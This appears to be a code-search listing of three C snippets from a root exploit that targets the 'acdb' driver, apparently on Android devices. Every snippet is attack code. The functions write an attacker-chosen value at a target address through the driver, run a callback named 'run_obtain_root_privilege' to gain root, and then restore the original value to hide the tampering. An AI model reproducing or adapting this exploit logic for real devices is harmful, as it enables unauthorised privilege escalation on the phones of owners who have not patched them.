Example #1
0
bool
acdb_run_exploit(unsigned long int address, int value,
                 bool(*exploit_callback)(void* user_data), void *user_data)
{
  if (!acdb_write_value_at_address(address, value)) {
    return false;
  }

  return exploit_callback(user_data);
}
Example #2
0
static bool
attempt_acdb_exploit(unsigned long int address, unsigned long int original_value)
{
  if (acdb_run_exploit(address, (int)&obtain_root_privilege,
                       run_obtain_root_privilege, NULL)) {

    acdb_write_value_at_address(address, original_value);

    return true;
  }

  return false;
}
Example #3
0
static bool
attempt_acdb_exploit(unsigned long int address,
                     unsigned long int write_value,
                     unsigned long int restore_value,
                     callback_info_t *info)
{
  if (acdb_run_exploit(address, write_value, &run_callback, info)) {
    acdb_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}